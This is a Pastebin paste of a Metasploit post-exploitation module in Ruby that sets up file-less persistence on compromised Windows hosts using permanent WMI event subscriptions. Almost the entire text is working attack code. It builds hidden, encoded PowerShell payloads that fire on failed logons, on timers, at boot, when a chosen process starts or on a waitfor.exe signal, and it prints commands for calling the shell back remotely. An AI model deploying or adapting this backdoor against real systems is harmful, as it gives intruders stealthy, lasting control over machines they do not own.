Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ##
- # This module requires Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core/exploit/powershell'
- require 'msf/core/post/windows/powershell'
- require 'msf/core/post/file'
- class MetasploitModule < Msf::Exploit::Local
- Rank = NormalRanking
- include Msf::Post::Windows::Powershell
- include Msf::Exploit::Powershell
- include Post::Windows::Priv
- include Msf::Post::File
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'WMI Event Subscription Persistence',
- 'Description' => %q{
- This module will create a permanent WMI event subscription to achieve file-less persistence using one
- of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
- (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
- must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
- /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
- The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
- method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
- method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
- creates an event filter that utilizes the Microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
- before executing the payload. The signal can be sent from a windows host on a LAN utilizing the waitfor.exe command
- (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
- activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
- high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
- },
- 'Author' => ['Nick Tyrer <@NickTyrer>'],
- 'License' => MSF_LICENSE,
- 'Privileged' => true,
- 'Platform' => 'win',
- 'SessionTypes' => ['meterpreter'],
- 'Targets' => [['Windows', {}]],
- 'DisclosureDate' => 'Jun 6 2017',
- 'DefaultTarget' => 0,
- 'DefaultOptions' =>
- {
- 'DisablePayloadHandler' => 'true'
- },
- 'References' => [
- ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
- ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/']
- ]
- ))
- register_options([
- OptEnum.new('PERSISTENCE_METHOD',
- [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
- OptInt.new('EVENT_ID_TRIGGER',
- [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
- OptString.new('USERNAME_TRIGGER',
- [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
- OptString.new('PROCESS_TRIGGER',
- [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
- OptString.new('WAITFOR_TRIGGER',
- [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
- OptInt.new('CALLBACK_INTERVAL',
- [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
- OptString.new('CLASSNAME',
- [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
- ])
- register_advanced_options(
- [
- OptString.new('CUSTOM_PS_COMMAND',
- [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]),
- ])
- end
- def exploit
- unless have_powershell?
- print_error("This module requires powershell to run")
- return
- end
- unless is_admin?
- print_error("This module requires admin privs to run")
- return
- end
- unless is_high_integrity?
- print_error("This module requires UAC to be bypassed first")
- return
- end
- if is_system?
- print_error("This module cannot run as System")
- return
- end
- host = session.session_host
- print_status('Installing Persistence...')
- case datastore['PERSISTENCE_METHOD']
- when 'LOGON'
- psh_exec(subscription_logon)
- print_good "Persistence installed!"
- remove_persistence
- when 'INTERVAL'
- psh_exec(subscription_interval)
- print_good "Persistence installed!"
- remove_persistence
- when 'EVENT'
- psh_exec(subscription_event)
- print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
- remove_persistence
- when 'PROCESS'
- psh_exec(subscription_process)
- print_good "Persistence installed!"
- remove_persistence
- when 'WAITFOR'
- psh_exec(subscription_waitfor)
- print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\""
- remove_persistence
- end
- end
- def build_payload
- if datastore['CUSTOM_PS_COMMAND']
- script_in = datastore['CUSTOM_PS_COMMAND']
- compressed_script = compress_script(script_in, eof = nil)
- encoded_script = encode_script(compressed_script, eof = nil)
- generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
- else
- cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
- end
- end
- def subscription_logon
- command = build_payload
- class_name = datastore['CLASSNAME']
- <<-HEREDOC
- $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
- $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
- HEREDOC
- end
- def subscription_interval
- command = build_payload
- class_name = datastore['CLASSNAME']
- callback_interval = datastore['CALLBACK_INTERVAL']
- <<-HEREDOC
- $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
- $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
- $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
- HEREDOC
- end
- def subscription_event
- command = build_payload
- event_id = datastore['EVENT_ID_TRIGGER']
- username = datastore['USERNAME_TRIGGER']
- class_name = datastore['CLASSNAME']
- <<-HEREDOC
- $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
- $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
- HEREDOC
- end
- def subscription_process
- command = build_payload
- class_name = datastore['CLASSNAME']
- process_name = datastore['PROCESS_TRIGGER']
- <<-HEREDOC
- $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
- $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
- HEREDOC
- end
- def subscription_waitfor
- command = build_payload
- word = datastore['WAITFOR_TRIGGER']
- class_name = datastore['CLASSNAME']
- <<-HEREDOC
- $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'}
- $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"}
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
- $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
- $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
- $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
- Start-Process -FilePath waitfor.exe #{word} -NoNewWindow
- HEREDOC
- end
- def log_file
- host = session.session_host
- filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
- logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
- Rex::FileUtils.clean_path(host + filenameinfo))
- ::FileUtils.mkdir_p(logs)
- logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
- end
- def remove_persistence
- name_class = datastore['CLASSNAME']
- clean_rc = log_file
- if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
- clean_up_rc = ""
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n"
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
- else
- clean_up_rc = ""
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
- clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
- end
- file_local_write(clean_rc, clean_up_rc)
- print_status("Clean up Meterpreter RC file: #{clean_rc}")
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement